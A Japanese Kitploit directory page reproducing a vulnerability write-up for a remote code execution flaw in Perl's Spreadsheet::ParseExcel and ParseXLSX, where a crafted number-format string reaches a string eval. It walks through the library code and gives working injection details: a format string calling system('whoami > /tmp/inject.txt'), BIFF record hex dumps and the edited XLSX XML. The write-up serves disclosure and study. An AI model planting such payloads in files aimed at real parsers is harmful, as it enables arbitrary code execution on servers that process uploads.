Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
perl_spreadsheet_excel_rce_poc — ParseExcelライブラリのRCE脆弱性、および依存ライブラリとしてのParseXLSXのRCE脆弱性のPOC。 | Kitploit
ツール/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペイロード開発バイナリエクスプロイト
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

ParseExcelライブラリのRCE脆弱性、および依存ライブラリとしてのParseXLSXのRCE脆弱性のPOC。

リポジトリを見る
18621年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ParseExcel のセキュリティ脆弱性

TL;DR: フォーマット文字列の解析ロジックに起因するRCE。

脆弱性の簡単な説明

この脆弱性の根本原因は、Utility.pm 内で検証されていないユーザー入力を eval に渡していることです。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

調査したところ、このフローに対する現在の実装には適切な検証がなく、比較ロジックの処理に eval を使うのはこのケースでは「やりすぎ」です。このため、Excel ファイルからデータを読み取るために使われる ParseExcel::parse と の両方が RCE に対して脆弱です。

ParseXLSX::parse

$format_str はどこにあるか?

ValFmt が ExcelFmt の最も可能性の高い呼び出し元なので、このメソッドについてさらに詳しく説明します。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

$oCell->{Type} が Date または Number の場合、ExcelFmt が呼び出されます。

$format_str の値は、別のメソッド FmtString から返されたものです。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

もう1つの関数が呼び出されているので、FmtStringDef も確認します。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

すべての変数が明らかになったので、攻撃ベクトルは次のように結論付けられます:

  • インデックス $iFmtIdx で悪意のあるフォーマット文字列を注入する
  • セルフォーマット $oBook->{Format}[$cellFmtIdx] が $iFmtIdx にマップされるようにする
  • セルがそのセルフォーマットにマップされるようにする ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

以下のセクションでは、ペイロードがシェルコードを eval コマンドまで伝播させた仕組みを詳しく説明します。ParseExcel を使用した .xls ファイルの解析と、ParseXLSX を使用した .xlsx ファイルの解析の2つのセクションがあります。

PoC

デモとして、whoami を実行し結果を /tmp/inject.txt ファイルに保存する、私たちが作成した悪意のある Excel ファイル(.xls および .xlsx)へのリンクを以下に示します。 https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

XLS ファイルでの悪用

以下のような ParseExcel::parse を使用する単純な Perl プログラムで xls ファイルを解析するとします。RCE はデータが取得される前、解析の実行中に発生します。

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

フォーマット文字列の注入

Excel 97 バイナリファイルは、BIFF レコードと呼ばれるバイナリデータのチャンクで構成されています。各レコードは opCode(リトルエンディアン)と呼ばれるヘッダーで始まり、その後にレコードの長さと実際のデータが続きます。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

その後、レコードタイプに対応するハンドラが使用され、その BIFF レコードのデータが抽出されます。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

フォーマット文字列は opCode = 0x41E の _subFormat によって処理されます。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

自分の .xls ファイルで使用されている BIFF バージョンがどれか確信はありませんでしたが、バイナリファイル内のデータによると、else ケース(> verBIFF5)に一致するはずです。

新しい BIFF バージョンでのフォーマット文字列レコードの構造は次のようになります。 1E 04 [record length - 2 bytes] [format string index - 2 bytes] [format string length - 1 byte] [string flags - 2 bytes] [format string content]

正しい構造に従うことで、任意のフォーマット文字列を .xls ファイルに注入できます。

PoC で注入したフォーマット文字列の実際の BIFF レコード(フォーマット文字列インデックスは \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

セルフォーマットをフォーマット文字列にマッピングする

セルフォーマットは、フォーマット文字列、スタイリング、フォントなど、セルの多くのプロパティを定義します。1つのセルフォーマットは、BIFF レコード内にフォーマット文字列のインデックスを含めることで、1つのフォーマット文字列にリンクできます。このロジックは _subXf によって処理されます。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

BIFFVersion が BIFF5 より大きいため、条件は最初のケースには当てはまりません。他の2つのケースでは、$iIdx が BIFF データの2番目のワードであることがわかります。そのため、このステップも簡単に実行できます。

PoC で使用したセルフォーマットの実際の BIFF レコード

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

さらに、セルフォーマットはリスト内のインデックスで識別されるため、最初のレコードを変更したので、セルフォーマットのインデックスは 0 になります。

セルをセルフォーマットにマッピングする

セルがフォーマットを適用するには、セルの BIFF レコード内にセルフォーマットの ID を含める必要があります。ただし、前述のとおり、RCE をトリガーできるのは Number または Date タイプのセルだけなので、PoC では日付タイプのセルを使用します(RK BIFF レコードと呼ばれます)。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

セルフォーマットにマップするインデックスがレコードの3番目のワードになっていることがわかるので、このワードを \x00 に null アウトするだけです。

PoC で使用した日付セルの実際の BIFF レコード

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

_subRK メソッドはまだ Date タイプを明示的に定義していないことに注意してください。代わりに、タイプチェックは chkType で実装されています。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

$iNumeric が 1 に設定されているため、タイプが Text ではないことは確実です。

最後に、新しい Cell オブジェクトを初期化するときに ValFmt が呼び出され、実行チェーンが続行され、シェルが eval メソッドに伝播します。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

XLSX ファイルでの悪用

.xlsx ファイルの操作ははるかに簡単です。データを平文(xml 形式)で直接変更できるためです。 以下のような ParseXLSX::parse を使用する単純な Perl プログラムで xls ファイルを解析するとします。RCE はデータが取得される前、解析の実行中に発生します。

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

XLSX ファイルは、ワークブックの特定の種類のデータをそれぞれ含む多数の xml ファイルを圧縮した zip ファイルです。 フォルダ構造の例を以下に示します:

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Format strings & cell formats       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Cell values

フォーマット文字列の注入とセルフォーマットへのマッピング

フォーマット文字列は xl/styles.xml ファイルの <numFmts> タグの下に含まれ、セルフォーマットは <cellXfs> タグの下で定義されます。 https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

フォーマット文字列を注入するには、formatCode をフォーマット文字列とし、numFmtId を任意の整数値とする <numFmt> タグを追加する必要があります。ここでは 123 を使用しました。

その後、選択した id(123)を numFmtId 属性とする <xf> セルをもう1つ追加して、フォーマット文字列にマップします。

PoC で使用した最終的な xml データ

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

セルをセルフォーマットにマッピングする

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

このライブラリのセルデータ読み取りロジックはより単純で、xml タグの属性からタイプと値を直接代入するだけです。$oCell->{Type} を Date または Numeric にする必要があるため、属性 t を d または n にするだけで済みます。セルをセルフォーマットにマップするには、属性 s をセルフォーマットのインデックス(3)に設定します。

PoC で使用した最終的な xml データ

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
ツールをダウンロード